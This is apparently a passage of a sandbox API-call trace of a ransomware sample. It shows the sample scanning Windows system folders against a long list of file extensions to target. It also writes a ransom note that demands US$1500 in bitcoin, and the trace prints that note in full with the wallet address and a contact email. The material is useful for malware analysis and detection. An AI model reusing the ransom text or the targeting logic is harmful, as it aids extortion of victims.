(pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.vmx") returned 0 [0165.464] lstrlenA (lpString="*.vmx") returned 5 [0165.464] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.vmdk") returned 0 [0165.464] lstrlenA (lpString="*.vmdk") returned 6 [0165.464] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.vdi") returned 0 [0165.464] lstrlenA (lpString="*.vdi") returned 5 [0165.464] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.lay6") returned 0 [0165.464] lstrlenA (lpString="*.lay6") returned 6 [0165.464] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.mpeg") returned 0 [0165.464] lstrlenA (lpString="*.mpeg") returned 6 [0165.464] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.djvu") returned 0 [0165.464] lstrlenA (lpString="*.djvu") returned 6 [0165.464] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.tiff") returned 0 [0165.464] lstrlenA (lpString="*.tiff") returned 6 [0165.464] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.backup") returned 0 [0165.464] lstrlenA (lpString="*.backup") returned 8 [0165.464] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.pdf") returned 0 [0165.464] lstrlenA (lpString="*.pdf") returned 5 [0165.464] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.cert") returned 0 [0165.464] lstrlenA (lpString="*.cert") returned 6 [0165.465] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.docm") returned 0 [0165.465] lstrlenA (lpString="*.docm") returned 6 [0165.465] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.xlsm") returned 0 [0165.465] lstrlenA (lpString="*.xlsm") returned 6 [0165.465] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.dwg") returned 0 [0165.465] lstrlenA (lpString="*.dwg") returned 5 [0165.465] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.nd") returned 0 [0165.465] lstrlenA (lpString="*.nd") returned 4 [0165.465] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.tlg") returned 0 [0165.465] lstrlenA (lpString="*.tlg") returned 5 [0165.465] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.lgb") returned 0 [0165.465] lstrlenA (lpString="*.lgb") returned 5 [0165.465] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.mov") returned 0 [0165.465] lstrlenA (lpString="*.mov") returned 5 [0165.465] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.xdw") returned 0 [0165.465] lstrlenA (lpString="*.xdw") returned 5 [0165.465] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.ods") returned 0 [0165.465] lstrlenA (lpString="*.ods") returned 5 [0165.465] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.wav") returned 0 [0165.465] lstrlenA (lpString="*.wav") returned 5 [0165.466] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.mp3") returned 0 [0165.466] lstrlenA (lpString="*.mp3") returned 5 [0165.466] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.aiff") returned 0 [0165.466] lstrlenA (lpString="*.aiff") returned 6 [0165.466] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.flac") returned 0 [0165.466] lstrlenA (lpString="*.flac") returned 6 [0165.466] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.m4a") returned 0 [0165.466] lstrlenA (lpString="*.m4a") returned 5 [0165.466] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.csv") returned 0 [0165.466] lstrlenA (lpString="*.csv") returned 5 [0165.466] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaff880ed, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaff880ed, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90897a2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xc19, dwReserved0=0x0, dwReserved1=0x0, cFileName="ManageAppSettings.aspx.resx", cAlternateFileName="MANAGE~1.RES")) returned 1 [0165.466] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.466] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ManageAppSettings.aspx.resx") returned -1 [0165.466] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ManageAppSettings.aspx.resx") returned -1 [0165.466] lstrcmpiA (lpString1="", lpString2="ManageAppSettings.aspx.resx") returned -1 [0165.466] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx") returned="EditAppSetting.aspx.resx" [0165.466] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" [0165.466] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\") returned="" [0165.466] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" [0165.466] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\how to decrypt files.txt")) returned 0xffffffff [0165.467] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.467] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.467] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.467] CloseHandle (hObject=0xffffffff) returned 0 [0165.467] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\", lpString2="ManageAppSettings.aspx.resx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx" [0165.467] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.ems") returned 0 [0165.467] lstrlenA (lpString="*.ems") returned 5 [0165.467] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.db") returned 0 [0165.467] lstrlenA (lpString="*.db") returned 4 [0165.467] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.dbf") returned 0 [0165.467] lstrlenA (lpString="*.dbf") returned 5 [0165.467] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.myox") returned 0 [0165.467] lstrlenA (lpString="*.myox") returned 6 [0165.467] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.myo") returned 0 [0165.467] lstrlenA (lpString="*.myo") returned 5 [0165.468] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.qbw") returned 0 [0165.468] lstrlenA (lpString="*.qbw") returned 5 [0165.468] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.qbb") returned 0 [0165.468] lstrlenA (lpString="*.qbb") returned 5 [0165.468] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.qbm") returned 0 [0165.468] lstrlenA (lpString="*.qbm") returned 5 [0165.468] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.qbo") returned 0 [0165.468] lstrlenA (lpString="*.qbo") returned 5 [0165.468] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.qbx") returned 0 [0165.468] lstrlenA (lpString="*.qbx") returned 5 [0165.468] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.qba") returned 0 [0165.468] lstrlenA (lpString="*.qba") returned 5 [0165.468] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.qby") returned 0 [0165.468] lstrlenA (lpString="*.qby") returned 5 [0165.468] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.qbj") returned 0 [0165.468] lstrlenA (lpString="*.qbj") returned 5 [0165.468] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.ofx") returned 0 [0165.468] lstrlenA (lpString="*.ofx") returned 5 [0165.468] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.qif") returned 0 [0165.468] lstrlenA (lpString="*.qif") returned 5 [0165.468] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.mye") returned 0 [0165.468] lstrlenA (lpString="*.mye") returned 5 [0165.468] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.mbox") returned 0 [0165.468] lstrlenA (lpString="*.mbox") returned 6 [0165.468] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.eml") returned 0 [0165.468] lstrlenA (lpString="*.eml") returned 5 [0165.469] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.pst") returned 0 [0165.469] lstrlenA (lpString="*.pst") returned 5 [0165.469] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.ost") returned 0 [0165.469] lstrlenA (lpString="*.ost") returned 5 [0165.469] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.idx") returned 0 [0165.469] lstrlenA (lpString="*.idx") returned 5 [0165.469] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.dbx") returned 0 [0165.469] lstrlenA (lpString="*.dbx") returned 5 [0165.469] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.sql") returned 0 [0165.469] lstrlenA (lpString="*.sql") returned 5 [0165.469] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.mdb") returned 0 [0165.469] lstrlenA (lpString="*.mdb") returned 5 [0165.469] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.fdb") returned 0 [0165.469] lstrlenA (lpString="*.fdb") returned 5 [0165.469] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.wab") returned 0 [0165.469] lstrlenA (lpString="*.wab") returned 5 [0165.469] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.dat") returned 0 [0165.469] lstrlenA (lpString="*.dat") returned 5 [0165.469] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.txt") returned 0 [0165.469] lstrlenA (lpString="*.txt") returned 5 [0165.469] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.jpeg") returned 0 [0165.469] lstrlenA (lpString="*.jpeg") returned 6 [0165.469] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.jpg") returned 0 [0165.469] lstrlenA (lpString="*.jpg") returned 5 [0165.470] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.png") returned 0 [0165.470] lstrlenA (lpString="*.png") returned 5 [0165.470] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.php") returned 0 [0165.470] lstrlenA (lpString="*.php") returned 5 [0165.470] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.cs") returned 0 [0165.470] lstrlenA (lpString="*.cs") returned 4 [0165.470] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.cpp") returned 0 [0165.470] lstrlenA (lpString="*.cpp") returned 5 [0165.470] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.rar") returned 0 [0165.470] lstrlenA (lpString="*.rar") returned 5 [0165.470] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.zip") returned 0 [0165.470] lstrlenA (lpString="*.zip") returned 5 [0165.470] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.html") returned 0 [0165.470] lstrlenA (lpString="*.html") returned 6 [0165.470] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.htm") returned 0 [0165.470] lstrlenA (lpString="*.htm") returned 5 [0165.470] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.xlsx") returned 0 [0165.470] lstrlenA (lpString="*.xlsx") returned 6 [0165.470] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.xls") returned 0 [0165.470] lstrlenA (lpString="*.xls") returned 5 [0165.470] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.mp4") returned 0 [0165.470] lstrlenA (lpString="*.mp4") returned 5 [0165.470] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.ppt") returned 0 [0165.470] lstrlenA (lpString="*.ppt") returned 5 [0165.470] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.pptx") returned 0 [0165.470] lstrlenA (lpString="*.pptx") returned 6 [0165.470] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.doc") returned 0 [0165.471] lstrlenA (lpString="*.doc") returned 5 [0165.471] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.dot") returned 0 [0165.471] lstrlenA (lpString="*.dot") returned 5 [0165.471] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.docx") returned 0 [0165.471] lstrlenA (lpString="*.docx") returned 6 [0165.471] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.7z") returned 0 [0165.471] lstrlenA (lpString="*.7z") returned 4 [0165.471] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.tar") returned 0 [0165.471] lstrlenA (lpString="*.tar") returned 5 [0165.471] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\ManageAppSettings.aspx.resx", pszSpec="*.bz2") returned 0 [0165.471] lstrlenA (lpString="*.bz2") returned 5 [0165.471] PathMatchSpecA 